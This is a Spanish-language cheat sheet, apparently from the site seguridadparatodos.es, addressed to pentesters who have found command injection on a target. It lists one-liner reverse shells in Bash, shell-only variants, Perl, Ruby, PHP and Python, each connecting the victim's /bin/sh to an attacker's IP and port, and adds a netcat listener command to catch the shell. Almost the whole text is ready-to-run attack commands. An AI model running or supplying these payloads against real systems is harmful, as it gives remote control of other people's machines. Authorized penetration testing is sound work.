Cheat Sheet v1.0
Unix / Linux

www.seguridadparatodos.es

One-Liner Reverse Shell

Comandos de Unix/Linux para #Pentester y #Ethical Hacker que han encontrado alguna forma de inyección de comandos del Sistema (command execution).
Listos para ser ejecutados en una sola línea (one-Liner, que dependerán del lenguaje de scripting instalado / disponible en la victima / Target).

Bash

Unir un terminal del Sistema (bash) a conexión TCP con la IP Destino en el puerto [port_number]

```
bash -i >& /dev/tcp/IP_destino/port_number 0>&1
```

No-Bash

Alternativas a utilizar bash-shell:

```
0<&196;exec 196<>/dev/tcp/IP/port; sh <&196 >&196 2>&196
```

or

```
exec 5<>/dev/tcp/IP/port cat <&5  | while read line; do $line 2>&5 >&5; done
```

Perl

Shell reversa utilizando Perl para ejecutar un terminal de Linux /bin/sh más sencillo que /bin/bash

```
perl -e 'use Socket;$i="IP";$p=port;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Perl no-Sh

Shell reversa utilizando Perl sin depender de /bin/sh:

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(
PeerAddr,"IP:Port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

Ruby

Comando para abrir una Shell (/bin/sh) reversa con la IP:Port utilizando Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Ruby no-Sh

Shell reversa con la IP:Port utilizando Ruby sin depender de /bin/sh:

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP","Port");
while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

Php

Comando para abrir una Shell (/bin/sh) inversa contra la IP:Port utilizando PHP.

```
php -r '$sock=fsockopen("IP",Port);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Si no funciona con el descriptor 3, probar con 4,5,6 ...

Python

Shell (/bin/sh) reversa utilizando Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

www.seguridadaparatodos.es
E-mail: info@seguridadparatodos.es

Twitter Oficinal: @seguridadxato2
Facebook: https://www.facebook.com/SXato2

Recordatorio descriptores Unix/Linux:
Entrada Estandar (stdin) = 0
Salida Estandar (stdout) = 1
Salida Estandar (stderr) = 2

Comando para capturar la shell inversa usando Netcat
$ nc -vvv -n -l -p **port_number**

Based on: pentestmonkey.net & http://bernardodamele.blogspot.com.es/